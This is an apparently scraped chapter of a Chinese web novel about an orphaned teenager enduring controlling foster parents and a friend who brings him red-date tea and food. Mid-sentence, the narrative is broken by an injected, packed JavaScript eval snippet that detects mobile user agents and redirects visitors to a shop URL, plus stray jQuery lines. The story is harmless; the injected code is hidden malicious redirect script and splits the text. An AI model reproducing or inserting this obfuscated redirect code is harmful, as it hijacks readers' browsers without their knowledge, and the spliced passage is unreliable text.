苌斓已经一周没有在路口见到忘海了。不是忘海不来，是他出不了门。养母说早上太冷，出门容易感冒，让他坐养父的车去学校。他坐在后座上，车窗关得严严实实，路过路口的时候看见梧桐树下站着一个人。那个人手里揣着保温杯，围巾被风吹得飘起来。车子没有停，那道身影在后视镜里越来越小，拐过弯角就看不见了。他没有回头，只是把书包抱在胸前，抱得很紧。
第一天，忘海在路口等到七点四十，给他发了消息。他趁着课间回了一条：“最近不用等我。”忘海没有追问，只回了一个字：“好。”第二天，忘海还是来了。保温杯里的红枣茶，托同桌带进教室。同桌把杯子放在他桌上，说忘海在路口站了很久，上课铃响了才走。他没有说话，只是把杯子捧在手心里。四颗红枣，和说好的一样。
第三天，他的生活费被调整了。养母说高中生不需要太多零花钱，学校食堂够吃就行。他没有争辩，只是在食堂窗口前站了很久，最后点了一份最便宜的素菜，米饭浇了免费的菜汤。他把省下来的几块钱塞进书包夹层里，和那枚戒指放在一起。他学会了把一份菜分两半，中午吃一半，晚上吃一半。忘海放在他桌肚里的盒饭他还是收了，但他在同桌的手机上给忘海发了条消息：“盒饭不用天天带。我能吃饱。”忘海回了两个字：“好。”但第二天盒饭还是出现在桌肚里，附了一张便签——“我养母做多了，不吃浪费。”他认得忘海养母的便签，和忘海自己的字迹完全不一样。这张是忘海自己写的。他没有戳穿，只是把便签折好，和之前那张“给小斓和忘海”放在一起。
第四天，周五。他放学回家，走到楼下的时候抬头看了看自家的窗户。灯亮着，但不是客厅那盏落地灯的光——那盏灯是母亲在旧货市场淘的，灯光是暖黄色的，照在沙发上像铺了一层蜂蜜。现在是白色的，日光灯，养母说节能。他走上楼，用钥匙开门。养母正坐在客厅里，把玩着父亲那只紫砂杯。杯子里泡了绿茶，水面上飘着碎茶叶末。他站在玄关，书包从肩膀上滑下来。“阿姨，那个杯子——”
“怎么，用一下你家的杯子都不行？”养母没有看他，端起杯子喝了一口，然后把杯子放回茶几上。杯底磕在玻璃面上，发出一声脆响。“你爸妈走了，这些东西总得有人用。难道摆在那里落灰？”
他没有说话。他走过去把杯子拿起来，去厨房洗干净，擦干，放在茶几上杯垫的位置。杯口朝外，和父亲每天下班回来时放的角度一样。他没有把杯子藏起来，他知道藏起来会被找到，被找到会更麻烦。他只是每天把它放回原位，不管养母把它挪到多少次，他都不厌其烦地放回去。有一次养母当着客人的面用父亲的杯子泡茶，杯子外面沾了油腻腻的指纹。他安静地等客人走了，把杯子拿到厨房，用洗洁精洗了三遍，用软布擦干，放回杯垫上。杯口朝外。
他学会了在养母尖利的声音里做作业。他的房间没有锁，养母随时会推门进来。有时候是送一杯水，有时候是拿一件东西，有时候什么都不做，只是站在门口看一眼。每次推门之前没有敲门声，门把手突然就转了。他习惯了在书桌上铺满卷子，听到脚步声就把日记本合上塞进抽屉。他在日记本的封面上包了数学书的书皮，养母从来不碰数学书。
周六早上，养母说家里的洗衣液没了，让他去买。他接过钱——刚好够一瓶最便宜的洗衣液，没有多一分。他走到超市，在货架前站了很久。左手是洗衣液，右手是红糖。红糖在打折，买一送一。他把洗衣液拿下来，看了看价格标签，又看了看红糖。然后把洗衣液放回去，拿了最便宜的小瓶装，用省下来的零钱买了一包红糖。回到家，养母接过洗衣液，上下掂了掂。“怎么买这么小的。”“打折。这个小瓶的划算。”他没有提红糖的事。他把红糖藏在书包里，想明天去学校的时候带给忘海。父亲的配方里有一味红糖，他记得很清楚。
周日下午，忘海来了。不是来家里，是来楼下。他没有发消息，没有提前打招呼，只是站在那棵梧桐树下，手里拎着保温杯和一袋东西。苌斓在窗边看到他的时候，手里的笔掉在地上，弯腰捡笔的那几秒钟眼眶就热了，但他忍住了，放下卷子走出房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724388|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间。经过客厅的时候，养母正看电视，声音开得很大。他轻描淡写地说去楼下透透气，养母眼睛没有离开电视，说十分钟之内回来。他说好。
他在楼道里就开始加快脚步，走到一楼几乎是跑出去的。忘海站在梧桐树下，和每一个清晨在路口等他时一模一样。围巾还是那条灰色，被风吹得飘起来。他把手里的袋子递过来——养母做的核桃酥，单独包装的那份。还有保温杯，红枣茶，五颗红枣。
“怎么多放了一颗。”
“上周三你说养母把你的豆浆倒了。那杯没喝到的，今天补上。”
苌斓低下头，把保温杯捧在手心里。杯壁是温热的，和每一次一样。他看着杯子，忽然开口：“我把你养母的便签都留着了。和我妈的便签放在一起。”
忘海沉默了一会儿。“嗯。我养母说，下次多做一点。核桃酥还是红枣糕，你挑。”
“……核桃酥。”
“好。”
苌斓抬头看了看楼上那扇亮着日光灯的窗户。十分钟快到了。“我得回去了。”
“明天早上。路口。”
“好。”他把保温杯抱在怀里，转身往楼里走。走了几步又回头，举起手里的保温杯朝忘海晃了晃。和无数个早晨在路口分别时一样。
回到家，养母还坐在沙发上看电视，头也不回地说了句“超了两分钟”。他没有解释，只是回到自己房间，把门虚掩——没有锁，掩不掩都一样，但他还是掩了。他把红糖从书包里拿出来，放在桌上。然后把忘海带来的保温杯拧开，红枣的甜香弥漫开来。他喝了一口，五颗红枣的甜，比平时更浓。
今天是周末。明天早上，他会在路口见到忘海。养父母不会永远住在这里。他十八岁的生日在日历上被红笔圈起来，每天都在靠近。他要把父亲的杯子每天放回原位，把母亲的围裙洗干净藏好，把父亲说的配方背得滚瓜烂熟。他要撑到成年，撑到法律承认他可以自己决定自己人生的时候，撑到这扇门重新为他打开。他可以撑到的，因为每天早上的路口都有一个人在等他。